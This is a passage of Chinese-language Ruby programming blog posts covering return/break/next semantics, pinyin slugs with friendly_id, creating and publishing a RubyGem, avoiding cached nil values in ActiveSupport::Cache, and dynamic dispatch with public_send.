像这种情况，在ensure语句之前，无论是否显示用return来返回，m1方法都会返回ensure之前的值， ensure语句只是确保之后的代码块puts 'I am sure that it will be here!'执行，但是不会从这里返回。 如果在ensure语句中显示的用return来返回值时，情况就不一样了。示例如下：


def m1
  return 'return default'
ensure
  return 'I am sure that it will be here!'
end

m1 # => I am sure that it will be here!



无论在ensure之前是否显示返回，都只会返回ensure之后的值。


在有代码块干预的情况下，又会有所不同：


def m1
  p 'start ... '
  proc do
    p 'block start'
    return
    p 'block end'
  end.call
  p 'end ... '
end

m1

# 输出结果：
#
# "start ... "
# "block start"



这个应该是在预料之中的，再看下一个：


def m1
  p 'start ... '
  -> do
    p 'block start'
    return
    p 'block end'
  end.call
  p 'end ... '
end

m1

# 输出结果：
#
# "start ... "
# "block start"
# "end ... "



这里多了一行"end ... "，原因何在？这就是Proc和Lambda最大的区别，在他们之中的return语句跳出去的目的作用域不同，Proc会直接跳出整个方法的调用，而Lambda只会跳出自身的作用域， 返回到方法中继续执行，这一点需要格外注意。（在break中，Proc和Lambda的跳出方式和return是一样的，后面就不再赘述了。）


break


先来看一个简单的小例子：


result = [1, 2, 3, 4, 5].map do |i|
  i * 2
end

p result # => [2, 4, 6, 8, 10]



这个没什么奇怪的，那么看看下面这个，来猜猜它的输出结果是什么？


result = [1, 2, 3, 4, 5].map do |i|
  break if i > 3
  i * 2
end
# FLAG
p result



是[1, 2, 3, nil, nil]？还是[1, 2, 3]？还是什么？答案是nil，因为执行break后，直接跳到了FLAG ，也就是跳出了map方法，而map方法中的语句并没有执行完，导致没有任何返回值，为了验证这个想法是正确的，我们 可以利用Ruby语言的break可以带返回值的特性来验证一下：


result = [1, 2, 3, 4, 5].map do |i|
  break 'returned break' if i > 3
  i * 2
end

p result # => "returned break"



这里可以证明我们的猜测是正确的。虽然上面说明了这个问题，但是应该还不是非常容易理解，我们自己定义 一个代码块，再来说明一下：


def m1
  p 'start in m1 ... '
  m2 do # 代码块
    p 'start in block in m1 ... '
    p 'end in block in m1 ... '
  end
  p 'end in m1 ... '
end

def m2 &block
  p 'start in m2 ... '
  block.call
  p 'end in m2 ... '
end

m1

# 输出结果：
#
# "start in m1 ... "
# "start in m2 ... "
# "start in block in m1 ... "
# "end in block in m1 ... "
# "end in m2 ... "
# "end in m1 ... "



然后我们在m1中的block中添加break，来看看执行结果：


def m1
  p 'start in m1 ... '
  m2 do # 代码块
    p 'start in block in m1 ... '
    break
    p 'end in block in m1 ... '
  end
  p 'end in m1 ... '
end

def m2 &block
  p 'start in m2 ... '
  block.call
  p 'end in m2 ... '
end

m1

# 输出结果：
#
# "start in m1 ... "
# "start in m2 ... "
# "start in block in m1 ... "
# "end in m1 ... "



可以看到代码块的最后一行代码没有执行，m2的最后一行也没有执行，就是因为这一行没有执行，导致break的第二个例子中的map没有返回任何值。总结一下，代码块中的break会直接跳出调用的方法（m2）， 而在声明代码块的方法（m1）中继续执行此方法（m1）中剩下的语句。


next


next关键字类似其他语言中的continue，它的工作方式基本和continue类似。


def m1
  p 'start in m1 ... '
  m2 do # 代码块
    p 'start in block in m1 ... '
    next
    p 'end in block in m1 ... '
  end
  p 'end in m1 ... '
end

def m2 &block
  p 'start in m2 ... '
  block.call
  p 'end in m2 ... '
end

m1

# 输出结果：
#
# "start in m1 ... "
# "start in m2 ... "
# "start in block in m1 ... "
# "end in m2 ... "
# "end in m1 ... "



只是略过了代码块的最后一行代码，这就是next的工作方式了。我们再来看看break的那个例子如果用next来写，看看结果是什么？如果你完全理解了上面所写的，相信你已经能在大脑中计算出结果了：


result = [1, 2, 3, 4, 5].map do |i|
  next if i > 3
  i * 2
end

p result # => [2, 4, 6, nil, nil]



next语句也能带返回值：


result = [1, 2, 3, 4, 5].map do |i|
  next 'next' if i > 3
  i * 2
end

p result # => [2, 4, 6, "next", "next"]



其他


对于return，在方法中，代码块中都可以使用，而break和next只能在代码块中使用（循环结构中也可以使用，但是一般它也是用代码块的形式来表示），如果在方法中调用两者会提示语法错误，也就是：


def m1
  return # OK
  break  # Invalid break, compile error (SyntaxError)
  next   # Invalid next, compile error (SyntaxError)
end



结论



	
return 大部分情况下和其他语言无异，需要注意在ensure以及Proc和Lambda两种不同的 代码块中的细节问题。

	
break 在有方法嵌套调用中的代码块中需要注意，它总是返回到调用代码块方法的方法中（有点绕）。

	
next 最老实，基本不需要注意什么。



最后就是，不只是return能返回值，break和next都能返回值。


本文系 OneAPM 工程师编译整理。想阅读更多技术文章，请访问OneAPM官方技术博客。
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在许多项目中，我们可能都会遇到需要为数据生成 slug 的场景，这些场景类似于：


	基于商品名称生成 slug


	基于文章标题生成 slug




至于为什么需要生成 slug，而不是使用比如 Rails 中默认自增的主键也就是数据的 id，原因其实很简单：


	使用自增 id 容易暴露数据，比如通过订单 id 可能导致遍历所有订单，不信，你看这里就有个例子


	增加 URL 友好性，/products/18376 这样的链接肯定没有比 /products/apple-watch-gold 这样的链接更招人喜欢




friendly_id

friendly_id 是用来生成 slug 的 ruby gem，假设我们有一个产品模型 Product，使用 friendly_id 为商品名称(name)生成 slug 的示例代码如下：

class Product < ActiveRecord::Base
  friendly_id :name, use: :slugged
end

上面的代码理论上来说已经完成我们所需要的工作了，但是如果 title 包含中文的话，生成的 slug 就有点类似 30f175f4-1e56-4e3a-823d-a7c1a5d32b29 这样的乱码了，实际上这个 slug 对应的原来的 title 是 测试产品。这样的 slug 虽然避免了自增 id 的弊端，但是却丧失了友好性。如果 slug 能够基于汉语拼音生成，岂不更好？

自己控制 slug 生成方式

阅读 friendly_id 的源码可以找到以下代码：

module FriendlyId
  module Slugged
    # ...

    def normalize_friendly_id(value)
      value.to_s.parameterize
    end

    # ...
  end
end

这段代码便是 friendly_id 基于输入生成 slug 的核心代码，使用 ActiveSupport 扩展后的 String 类的 parameterize 方法，此方法会将除了英文字母、数字、短横线以及下划线之外的字符转换为 -，所以不适用于中文的情况，我们需要重写该方法，以满足我们的需求。

中文拼音利器——chinese_pinyin


中文生成中文拼音的工具，我选择了黄志敏先生写的 chinese_pinyin 这个 gem，推荐理由就是简单够用。

以下是单独使用这个 gem 时的示例：

2.2.0 :009 > Pinyin.t("中国人")
 => "zhong guo ren"
2.2.0 :010 > Pinyin.t("Hello, 李雷")
 => "Hello  li lei"

组装！！！

根据 friendly_id 的注释，如果你只需要为单独一个 model 定制 slug 的生成逻辑，那么建议你只在相关的 model 中定义同名方法即可。但是由于我是需要为多个 model 定制中文的 slug 生成逻辑，所以我选择了直接重定义 FriendlyId::Slugged 模块中的这个方法：

# config/initializers/friendly_id/slugged.rb
module FriendlyId
  module Slugged
    # 重定义 friendly_id 方法，实现 slug 从中文到拼音，非中文不受影响
    def normalize_friendly_id(value)
      Pinyin.t(value.to_s).parameterize
    end
  end
end

这样的定义方式使得新的 normalize_friendly_id 方法对所有依赖 friendly_id 的代码都生效。

最后通过新的方法为我们的产品生成新的 slug，现在“测试产品”得到的 slug 变为 ce-shi-chan-pin 了：

product.update(slug: nil)  # 显式清空 slug, friendly_id 在 save 时会自动重新生成 slug

最后产品的链接已变为 /products/ce-shi-chan-pin，比起 /products/30f175f4-1e56-4e3a-823d-a7c1a5d32b29，可真是叫人心旷神怡。


 如何开发一个自己的 RubyGem？

作者：OneAPM蓝海讯通

来源： 如何开发一个自己的 RubyGem？



                    
「如何测试你自己的 RubyGem？」的前导文章


什么是 RubyGem


RubyGem 是 Ruby 语言的标准源码打包格式。


大家一直都在用gem这个命令，但是很少有人知道这个东西是怎么来的，这里我从网上扒下一些资料汇总一下，分享给大家。最后面会有这些链接，想进一步了解的，可以点进去看看。Ruby 语言深受其他几种脚本语言的影响，其中就有 Perl，而 Perl 有个 CPAN（Comprehensive Perl Archive Network），这个东西也就像是现在的 RubyGems.org ，但是当时 Ruby 是没有这样一个东西的。像 CPAN 和 RubyGem ，它们仅仅是定义好的一种源码的打包和安装方式，另外还有一些组织，会提供这种免费的公共的源码包的存储，这也就现在大家每天都要使用的安装方式：


gem install rails



在 RubyGem 的发展历史当中，有几位重要的人物，这里也作为八卦知识给大家晒一晒，就当做大家茶余饭后的谈点吧。Ruby 社区的人应该都知道 Jim Weirich 这个人，他已经在2014年2月份去世了，是一个可爱的白胡子大叔，他和另外的四位 Rich Kilmer, Chad Fowler, David Black, Paul Brannan在2003年制定了 RubyGem 的基本规范和实现，但是其实 RubyGem 最早是 Ryan Leavengood 在2001年开发的，可惜没有流行起来，最后到了2003年，前面的5个人经过 Ryan Leavengood 的同意，使用了 RubyGem 这个名称，开发了新版的 RubyGem，其中并没有使用 Ryan Leavengood 的代码。这里附上 rubygems 的执行文件链接，看看注释，里面有上面几个人的名字 rubygems/blob/master/bin/gem


rubygems 有默认的源，也可以更改，国内的基本就是 https://rubygems.taobao.org 了，有些公司有自己的需求，也会搭建自己的私源。当前的官方源为https://rubygems.org，这个源也是几经辗转，早期的 Ruby 用户都知道 http://gems.rubyforge.org和http://gemcutter.org，甚至github都曾经作为源使用过，也就是 http://gems.github.com，这三个现在都已经弃用了。


看看，一个简单的gem install 历史还不少啊。


RubyGem 的基本使用方法


gem install rails  //安装rails
gem install rails -v 4.2.0   //安装指定版本的rails
gem search rails  //查找所有名称中含有rails的gem
gem search ^rails  //查找所有名称中以rails开头的gem
gem search ^rails -d  //查找所有名称中以rails开头的gem，并显示描述
gem build package.gemspec  //构建一个gem，就是把你自己写的gem源码，打包成一个.gem文件
gem push pack-1.0.gem  //发布到源上，默认是rubygems.org



这里只是简单列出了最常用的使用方法，大家看看就好，命令很有限，也很简单，执行gem --help，基本上所有的东西你都能10分钟内学会。


如何制作一个自己的 RubyGem


前几年还是有这样那样的工具，现在用bundler就够了。


$ bundler gem mygem
      create  mygem/Gemfile
      create  mygem/Rakefile
      create  mygem/LICENSE.txt
      create  mygem/README.md
      create  mygem/.gitignore
      create  mygem/mygem.gemspec
      create  mygem/lib/mygem.rb
      create  mygem/lib/mygem/version.rb
Initializing git repo in /home/lizhe/Workspace/mygem



一个bundler命令就搞定了。来看看mygem这个文件夹下的东西：


total 24
-rw-rw-r-- 1 lizhe lizhe   90  7月  2 15:52 Gemfile
drwxrwxr-x 3 lizhe lizhe 4096  7月  2 15:52 lib
-rw-rw-r-- 1 lizhe lizhe 1062  7月  2 15:52 LICENSE.txt
-rw-rw-r-- 1 lizhe lizhe  850  7月  2 15:52 mygem.gemspec
-rw-rw-r-- 1 lizhe lizhe   29  7月  2 15:52 Rakefile
-rw-rw-r-- 1 lizhe lizhe  556  7月  2 15:52 README.md



现在来看看gemspec这个文件，它描述了这个Gem的各种信息


# coding: utf-8
lib = File.expand_path('../lib', __FILE__)
$LOAD_PATH.unshift(lib) unless $LOAD_PATH.include?(lib)
require 'mygem/version'

Gem::Specification.new do |spec|
  spec.name          = "mygem"
  spec.version       = Mygem::VERSION
  spec.authors       = ["lizhe"]
  spec.email         = ["lizhe@oneapm.com"]
  spec.summary       = %q{TODO: Write a short summary. Required.}
  spec.description   = %q{TODO: Write a longer description. Optional.}
  spec.homepage      = ""
  spec.license       = "MIT"

  spec.files         = `git ls-files -z`.split("\x0")
  spec.executables   = spec.files.grep(%r{^bin/}) { |f| File.basename(f) }
  spec.test_files    = spec.files.grep(%r{^(test|spec|features)/})
  spec.require_paths = ["lib"]

  spec.add_development_dependency "bundler", "~> 1.7"
  spec.add_development_dependency "rake", "~> 10.0"
end



我发现有人看到这个文件的内容时，倒是关心那个'git ls-files -z'.split("\x0")是什么意思？以及那个\x0是什么？附上一个链接，解释一下，参考链接。这个文件最上面先把 lib 文件夹添加到 load path 中，Gem::Specification 的第一部分主要是描述这个 gem 的信息，包括名称，版本等等，第二部分是这个 gem 都包括哪些文件，执行文件，测试文件以及哪些路径下的文件可以添加到 load path 中。第三部分是开发 mygem 需要依赖的其他 gem。这些信息都可以自定义，先按照默认走。让我们 build 第一个 gem 吧。


$ rake build

rake aborted!
WARNING:  See http://guides.rubygems.org/specification-reference/ for help
ERROR:  While executing gem ... (Gem::InvalidSpecificationException)
    "FIXME" or "TODO" is not a description
/home/lizhe/.rvm/gems/ruby-2.1.5@global/gems/bundler-1.7.12/lib/bundler/gem_helper.rb:149:in `sh'
/home/lizhe/.rvm/gems/ruby-2.1.5@global/gems/bundler-1.7.12/lib/bundler/gem_helper.rb:57:in `build_gem'
/home/lizhe/.rvm/gems/ruby-2.1.5@global/gems/bundler-1.7.12/lib/bundler/gem_helper.rb:39:in `block in install'
/home/lizhe/.rvm/gems/ruby-2.1.5@global/bin/ruby_executable_hooks:15:in `eval'
/home/lizhe/.rvm/gems/ruby-2.1.5@global/bin/ruby_executable_hooks:15:in `<main>'
Tasks: TOP => build
(See full trace by running task with --trace)



这个警告是提醒我们需要替换gemspec中的FIXME和TODO，这个警告如果不解决是无法 build 一个 gem 的，直接删除掉 summary 和 description 中的TODO：


  spec.summary       = %q{Write a short summary. Required.}
  spec.description   = %q{Write a longer description. Optional.}



再来执行：


$ rake build

mygem 0.0.1 built to pkg/mygem-0.0.1.gem.



好了，第一个 gem 诞生了。它就在当前目录的 pkg 下： mygem-0.0.1.gem 。如何使用呢？不考虑 bundler 的情况下，如果你开起了一个 irb 或者 pry 的 session 时，一般都会这样写：require "mygem"，如果你现在这样做，那肯定不行，因为它还没有被安装到 ruby 的 load path 中，那就把它安装上。


$ rake install

mygem 0.0.1 built to pkg/mygem-0.0.1.gem.
mygem (0.0.1) installed.



安装好了，那就来使用一下，打开 irb ：


require "mygem"
=> true
Mygem
=> Mygem



看，已经可以使用这个 module 了，不过这个 gem 啥也干不了，那么我们就给它添加一个方法吧，打开 lib/mygem.rb ，添加一个方法：


require "mygem/version"

module Mygem
  def self.hello
    p "hello from my gem"
  end
end



保存，然后执行rake install，这个命令会先 build 然后 install ，再重新打开 irb ：


require "mygem"
=> true
Mygem.hello
=> "hello from my gem"



能够正常运行了，那就来发布第一个 gem 吧：


rake release
// 输入你在rubygems.org上的账号和密码



如果你的一个 rails 应用正好需要输出一个hello from my gem，那么现在你可以在 Gemfile 中添加这个 gem 了：


gem 'mygem'



添加完执行 bundle install，你就可以在你的 rails 应用中使用它了。


参考链接：



	RubyGems

	Gemcutter Is The New Official Default RubyGem Host

	Gem Building is Defunct





本文系 OneAPM 工程师李哲原创文章。请访问OneAPM 官方技术博客。


 谨防 ActiveSupport::Cache::Store 缓存 nil 值

作者：Martin91

来源： 谨防 ActiveSupport::Cache::Store 缓存 nil 值



                    
Rails 中的 active_support 组件主要基于 Rails 需要提供了很多非常有用的基础工具以及对 Ruby 内置类进行扩展。其中的 cache 模块主要提供了 Rails 中底层缓存的定义以及简单实现。今天要跟大家探讨的是之前在使用此模块所遇到的一个坑，有兴趣学习其基本用法的可以点击以下两个链接：


	Rails Guides: ActiveSupport::Cache::Store


	Rails API: ActiveSupport::Cache::Store




从 ActiveSupport::Cache::Store#fetch 聊起

之前在实现一个需要从外部服务请求数据的功能时，处于性能考虑，我在代码中使用了缓存，并且设置缓存失效时间为 7 天，示例代码如下：

def read_external_service(params)
  # 这段代码稍微解释下：
  #   当缓存命中时，则直接读取缓存，如果无期待缓存，则通过 HTTP 向外请求结果，并且将结果
  #   缓存下来，这样子，当下次继续调用时，则可直接返回缓存内容，而无需重复向外请求
  #
  Rails.cache.fetch 'example_cache_key_here', expires_in: 7.days do
    response = HTTParty.get 'https://example.com/example/request/path'
    JSON.parse(response.body)["data"]
  end
end

上面的代码其实不复杂，核心代码就是使用了 ActiveSupport::Cache::Store#fetch 方法。

一切都很正常地运行着，直到有一天，线上系统不断报警，出错原因就是这段代码总是返回 nil ，而调用者又因为没有判断 nil 值，就会出现 undefined method 'xxx' for nil:NilClass 错误。在 debug 时，我尝试了直接调用外部服务接口，发现请求都有正确返回数据，不可能返回 nil 啊，难道是缓存了 nil 值？下面就直接通过代码验证一下！

[1] pry(main)> require 'active_support'
=> true
[2] pry(main)> cache = ActiveSupport::Cache::MemoryStore.new
=> <#ActiveSupport::Cache::MemoryStore entries=0, size=0, options={}>
[3] pry(main)> cache.read :nil_value
=> nil
[4] pry(main)> cache.exist? :nil_value
=> false
[5] pry(main)> cache.fetch :nil_value do
[5] pry(main)*   nil   # this `nil` value will be cached
[5] pry(main)* end
=> nil
[6] pry(main)> cache.read :nil_value
=> nil
[7] pry(main)> cache.exist? :nil_value
=> true

看吧， fetch 方法确实会缓存 nil 值（通过 exist? 方法可以判断是否缓存了指定的 key ），所以系统出错原因就清晰了：在某次代码执行中，我的缓存刚好失效了，所以系统向外部发送了请求，恰巧这时候外部系统因为故障或者其他可能原因，没有返回期待数据，导致代码中最终缓存了 nil 值，在接下来的时间里，虽然外部系统可能恢复了正确服务，可是这时候因为我们的系统已经缓存了 nil值，所以在每次调用时都返回缓存的 nil，而不是重新请求正确结果，导致最后不停的报错告警。

这里插播一句，通过后来仔细查阅文档，才发现文档里已经注明：

Nil values can be cached.



╮(╯▽╰)╭ 怪我咯~

解决方案

意识到这个问题之后，解决思路简单粗暴，就是在可能返回 nil 值的地方放弃写入缓存：

def read_external_service(params)
  cache_key = 'example_cache_key_here'
  result = Rails.cache.read(cache_key)
  # 缓存命中，且内容不为 nil ，直接返回缓存内容
  return result if result.present?

  # 缓存失效，只能重新请求了~
  response = HTTParty.get 'https://example.com/example/request/path'
  result = JSON.parse(response.body)["data"]

  # 请求结果正确，写入缓存；否则，放弃之~~~
  Rails.cache.write(cache_key, result, expires_in: 7.days) if result.present?
  result
end

呃~~~虽然解决问题了，可是，就为了告诉系统不要相信 nil，就写得这么繁琐，好么？好么？好么？

踏上阅读源码之路

我尝试搜索了 #fetch 方法是否有支持比如 reject_nil 这样的 option，可惜的是，没有！可是真的没有吗？我不信！看源码去！

首先还是拜访下 ActiveSupport::Cache::Store 这个类啦，它可是所有缓存实现类的抽象类，别问我抽象类是什么，就是它明明只说话不干活，但是其他干活的都得向它看齐！好啦，说人话，其实就是说，我们在调用 Rails.cache.read、Rails.cache.fetch 等读写方法时，这些方法都是在 ActiveSupport::Cache::Store 中定义的，但是它只定义逻辑，而实际底层的读写实现，则都是交由其各种子类实现的，比如前面的 ActiveSupport::Cache::MemoryStore。

首先让我们来看看 fetch方法的全部内容：

def fetch(name, options = nil)
  if block_given?
    options = merged_options(options)
    key = namespaced_key(name, options)

    instrument(:read, name, options) do |payload|
      cached_entry = read_entry(key, options) unless options[:force]
      payload[:super_operation] = :fetch if payload
      entry = handle_expired_entry(cached_entry, key, options)

      if entry
        payload[:hit] = true if payload
        get_entry_value(entry, name, options)
      else
        payload[:hit] = false if payload
        save_block_result_to_cache(name, options) { |_name| yield _name }
      end
    end
  else
    read(name, options)
  end

从代码中可以看到，当 #fetch 方法调用时没有传递 block 的话，它本质上就是 read 方法的别名而已。而当调用时传递了 block 的话，即如我前面的示例代码，让我们把代码分开看下：

cached_entry = read_entry(key, options) unless options[:force]
payload[:super_operation] = :fetch if payload
entry = handle_expired_entry(cached_entry, key, options)

它首先判断是否设置了 force 选项，如果有，则不读取缓存，由此模拟缓存强制失效；如果未设置 force 选项或者该选项不等于 true value，则尝试读取缓存，并且调用 handle_expired_entry判断缓存是否仍旧有效。

if entry
  payload[:hit] = true if payload
  get_entry_value(entry, name, options)

这三行代码，则是在缓存命中时，直接读取缓存内容并且返回。

else
  payload[:hit] = false if payload
  save_block_result_to_cache(name, options) { |_name| yield _name }
end

else 的代码则表示，在缓存无命中时， #fetch 代码直接调用 #save_block_result_to_cache 方法，并且向其传递了一个 block，这个 block 没有干别的事情，它只会执行我们传递给 #fetch 方法的 block，让我们接着往下看看相关的实现：

def save_block_result_to_cache(name, options)
  result = instrument(:generate, name, options) do |payload|
    yield(name)
  end

  write(name, result, options)
  result
end

可以看到，#save_block_result_to_cache 方法首先执行传递进来的代码块，实际上也就是我们期待在缓存失效时执行的代码，而在获得执行结果 result 后，方法通过调用 #write 方法将结果写入缓存，最后将 result 返回。

通过上面的源码分析，我们可以知道，当缓存失效时，#fetch 方法会直接将其代码块中的代码的返回值不加判断地写入缓存，并且返回该返回值。这里，或许我们可以做点什么，来实现我们想要支持 :reject_nil 的需求？

支持 :reject_nil option

为了支持 :reject_nil，我们只需要在写入缓存前判断是否真的需要 nil 值即可，于是我们只需要在 #save_block_result_to_cache 中加入 #write 的前置条件：

def save_block_result_to_cache(name, options)
  result = instrument(:generate, name, options) do |payload|
    yield(name)
  end

  # options[:reject_nil] && result.nil? 作为前置条件
  write(name, result, options) unless result.nil? && options[:reject_nil]

  result
end

话不多说，让我们来重新试验一番：

[1] pry(main)> require 'active_support'
=> true
[2] pry(main)> cache = ActiveSupport::Cache::MemoryStore.new
=> <#ActiveSupport::Cache::MemoryStore entries=0, size=0, options={}>
[3] pry(main)> cache.fetch :nil_key1 do
[3] pry(main)*   nil
[3] pry(main)* end
=> nil
[4] pry(main)> cache.exist? :nil_key1
=> true
[5] pry(main)> cache.fetch :nil_key2, reject_nil: true do
[5] pry(main)*   nil
[5] pry(main)* end
=> nil
[6] pry(main)> cache.exist? :nil_key2
=> false

可以看到，当我们调用 #fetch 方法时，如果没有传递 reject_nil: true，则 #fetch 方法会默认缓存 nil 值；而如果我们设置 reject_nil: true 的话，则 #fetch 就会放弃写入 nil 值到缓存中。试验成功！！！

基于这样的实现，我的代码就又可以改为如下了：

def read_external_service(params)
  # 所有改动只是加了一个 `reject_nil: true`，多方便，妈妈再也不用担心我掉到坑里去了
  Rails.cache.fetch 'example_cache_key_here', expires_in: 7.days, reject_nil: true do
    response = HTTParty.get 'https://example.com/example/request/path'
    JSON.parse(response.body)["data"]
  end
end

待会去给 Rails 提交 Pull Request 去 O(∩_∩)O~~

总结


	缓存是好个东西，用得好能够让应用性能表现突飞猛进


	要注意缓存写入的边界条件，要注意避免缓存了空值，但也并非所有空值都不能缓存（比如有些接口确实就是有可能返回空值嘛），具体看业务，没有绝对的要与不要，反正 :reject_nil 给你了，看你要不要





 [译] 元编程动态方法之 public_send

作者：OneAPM蓝海讯通

来源： [译] 元编程动态方法之 public_send



                    

  李哲 — MAY 20, 2015

  原文地址：Metaprogramming Dynamic Methods: Using Public_send

  作者：Friends of The Web的开发者Vaidehi，OneAPM官方技术博客编译整理。







在上周，我写了一些让我感到非常骄傲的代码！当时，我正努力解决一个有趣的问题，这个问题也是我最近开发的一款应用中所遇到的。于是我把脑海中想到的第一种解决办法很快付诸了实践。然后，当我回过头来查看文本编辑器，并认真审阅完自己所写的代码时，终于意识到：这些代码真的很赞！


一周以来，我不断回顾那些代码段，沉思到底是什么原因令她如此美丽。而我又做了什么不一样的事情，竟让自己的内心充满了骄傲。我认为是元编程，这是我能够第一时间想到的答案。元编程（Metaprogramming）是指某类计算机程序的编写，这类计算机程序编写或者操纵其他程序（或者自身）作为它们的数据，或者在编译时完成部分本应在运行时完成的工作。当然，其中涉及到很多不同的技巧和方法，我也不是专家。但是我的确学到了一个元方法 public_send ，接下来我分享一下自己的使用心得。


GOTTA DISPATCH? DO IT DYNAMICALLY.


其实，不仅仅只是Ruby，编程世界中的一切都只是一种抽象。我们只不过对那些晦涩难懂的机器语言包裹了一层“糖衣”，让程序员的生活变得更为简便，让代码更具美感罢了。但归根结底，这只是对其他事物的一种抽象而已。当我们通过元编程进行重构时，理解的是同样的抽象概念，而且我们必须牢记这一点。同时，当我们试图发现代码中的共性问题时，这也意味着，我们可以封装并抽离那段代码的部分功能。


我最喜欢的抽象实例是method dispatching，通过这种方法我们将信息传递给一个对象，当然，这也是我们经常做的事情。因为Ruby中的所有事物都是一个对象，只要你想调用某个对象完成某件任务，你就不得不向它发送信息。我们应该庆幸，因为Ruby是如此强大，我们用来发送信息的方法就刚好就叫做：send。


其实，send方法在程序中被调用的次数远超过我们的想象。比如，当我们打开操控台，做一些简单的数学运算：


2.2.0 > 3 + 4
=> 7



而我们真正做事情的是：给整数3这个对象发送一个信息，告诉它与另一个对象（整数4）进行加法动作。


2.2.0 > 3.send(:+, 4)
=> 7



send 方法用字符串或者一个符号为参数，并以此做为方法名。换言之，方法名总是第一个参数，而第二个参数将以自变量的形式传给该方法。


此时，如果你想执行3加4的加法操作，就会变得很容易。但是，谁会一直做如此简单的加法计算呢？显然没有。你很可能还会执行3加5，加6，一直加到无穷等等。


而使用dynamic dispatching 就可以拯救你！





Dynamic dispatching，就如同上面这幅略显奇怪但是相当可爱的动态图，因为涉及向对象发送不同的信息(read: methods) ，同时因情况的差异，还会产生方法不断改变的警告。Dynamic dispatching 允许我们在程序中面向对象发送不同的方法，而且无需告知其他对象所发送信息的内容。如果你需要再一个特定的环境下调用一个方法，但是不清楚该方法是如何执行的，那么此时就是Dynamic dispatching出场的最佳时机。


我们可以看一下这个例子。


YOU CAN SEND WHUTEVA YOU LIKE


你可以使用 send 方法，来向一个对象“send”不同的方法，但这只占据了一半的乐趣，另一半在于搞清楚什么时候去实际的应用它。


此刻，让我来给大家展示一下，最近如何在应用中使用 Dynamic dispatching 来触发特定的方法。在本文中，我使用了一个电子书店的例子，希望大家能够接受。


在我的书店中，拥有一个开放购买的图书列表，列表以页码为单位来进行展示，且每本书在界面中只有有限的展示空间。作为网站的管理员，我必须决定针对不同的书应该如何进行更好的展示。一些书有非常漂亮的封面，我会想用封面的缩略图作为他们主要的“viewable attribute”，因为我使用了 paperclip 插件，这点很容易实现。


然而，有些书压根就没有封面。比如，浩如烟海的莎士比亚戏剧集，如果以“作者”做为“viewable attribute”，能更好地能吸引读者。而《权力的游戏》系列图书若以书名作为“可见属性”，显然更具吸引力。


所以，我该如何处理这个问题呢？首先，让我们看一下有没有任何共性的存在。


1. Look For Patterns


诚然，我们都希望界面中的每个 Book


对象都能用它最主要的可见属性来展示。我们遇到的问题是管理员会为每个 Book 对象选择不同的属性，再设置其为“viewable”，因此我们无法预测这个属性是title ，author，还是是一张图像。但是，我们的确知道每个 book 对象都需要某个“viewable attribute”。


这点很酷！所以这里就发现了一个共性：我们需要展示一个属性，但是我们并不知道它会是什么。或者说，其实我们知道？


2. Consider The Data


当下我们为该应用建立一个管理员界面时，我们清楚的知道每本书都有一个title，一个author。书的封面可以是有选择性的(此处我们称其为media )，但另外两个属性则不一定。这意味着我们要对 Book 对象进行一次验证：


    class Book < ActiveRecord::Base
      validates_presence_of :title, :author
    end



经过验证值之后，我进一步思考Book 对象肯定也会有的其他属性，首先进入我脑海的就是viewable_by属性。我们可以设想一下，管理员必须将某个属性设为“viewable”，当他更新此对象时，“viewable”就可能改变。因此，对每个 Book 对象来说都是独一无二的，这也意味着我们可以放心地将其保存在数据库中。


所以，我们可以通过代码迁移在数据库中增加viewable_by    属性，并且设置成不可为null，同时将默认值设为 Book’s title：


    class AddViewableByToBooks < ActiveRecord::Migration
      def change
        add_column :books, :viewable_by, :string, null: false,            default: "title"
      end
    end



这个迁移看起来非常简单，但是，but it is its very simplicity that lends itself so elegantly to some serious metaprogramming that we’ll do next.


3. Encapsulate And Abstract


最后这部分的确最难理解，但也最炫酷。现在，我们的数据库里多了一列，且字符串类型的值是title， author，media中的一个，管理员可以随意改变或更新这些值。显而易见，这些值的更改不可避免，但是有一点不变：we’re still going to want to render the value of whatever attribute is marked as “visible” – that is to say, whatever string value is saved as viewable_by.


此时，我们可以回头想想之前定义的那个共性。我们知道，属性会不断改变，但是我们对它的操作仍然保持了一致性。不论Book 对象的viewable_by属性是什么，我们都会展示这个属性。而且我们会跟该对象发送信息：“嘿，书先生，你可见的那个属性，不论它是什么，都是你用来展示自己的值！”


And this is where we can use send to encapsulate and abstract this away into a single method call。首先，我们要增加一个方法来检查可见属性是不是一个图象，如果是的话，我们会将其交给paperclip插件来进行展示：


    def show_cover?
      self.viewable_by == 'media'
    end



如果viewable_by属性的值为media，该方法会返回true，否则返回false。我们可以将这个布尔返回值用在一个条件语句中：


    def book_html
      if show_cover?
        # Code here will generate and return
        # an html image tag to render in view.
      else
        send(self.viewable_by)
      end
    end



上面的代码怎么了？如此炫酷！book_html方法要么展示一张缩略图(我们会写别的代码来实现)，要么返回一个title 对象或者author对象。当然，真正炫酷的地方在于，我们可以在表中添加其他属性，像year或者genre，并在此基础上显示html网页，只需要这些属性保存在viewable列中。


这到底是怎么运行的？其实，每次我们在数据库里创建新列时，我们都获得了两个重要的方法：读和写。这意味着我们拥有了title=和 title两个方法。


如果我们回顾一下 send 方法的工作原理，就会知道send 会将一个字符串或一个符号作为参数，该参数也是被调用的方法名。当我们调用 send 方法并将self.viewable_by 的值传给它时，我们实际上是在调用一个Book实例的send(“title”) 方法。这会调用该Book实例的title 属性，并将那本书的书名以字符串的形式返回。


这段代码炫酷的地方在于它非常灵活，同时还能将一种共性抽象为动态的方法调用，只在合适的时间对恰当的对象发起请求。但是，这段代码中还存在一个大问题，接下来让我们把它解决掉。


TO SEND OR TO PUBLIC SEND? THAT IS THE QUESTION


很多控诉 send方法的证据都源于此： send会将private methods发送给对象。这在应用内部是相当危险的，而且也让应用在应对外部恶意攻击时显得相当脆弱。


一种快速的修正方法就是使用 pubic_send ，它的功能与你所想的完全一致：只将公共可读取的方法发送给它的接收对象，所以我们最终的代码如下：


    class Book < ActiveRecord::Base
      validates_presence_of :title, :author

       def show_cover?
    self.viewable_by == 'media'
      end

      def book_html
        if show_cover?
          # Code here will generate and return
          # an html image tag to render in view.
        else
          public_send(self.viewable_by)
        end
      end
    end



赞！作为我们元编程的首次尝试，这段代码并没有显得很寒碜。


虽然做起来很难，但在重构和元编程方面，你也不必太苛求自己。老实说，随着时间的累积，你可以多加练习，逐渐的增长见识，那么编程能力自然也能够得到提高。最终，你会开始察觉那些出现了一次又一次的共性，并开始学会选择正确的工具来解决这些问题。


尽管需要额外的努力，我认为尝试不同的元编程技巧对未来大有裨益，多读多写代码亦是如此。重写之前的代码来实现一些元编程技巧，你可以修改应用中过于死板的代码，将之变得更为灵活、动态。


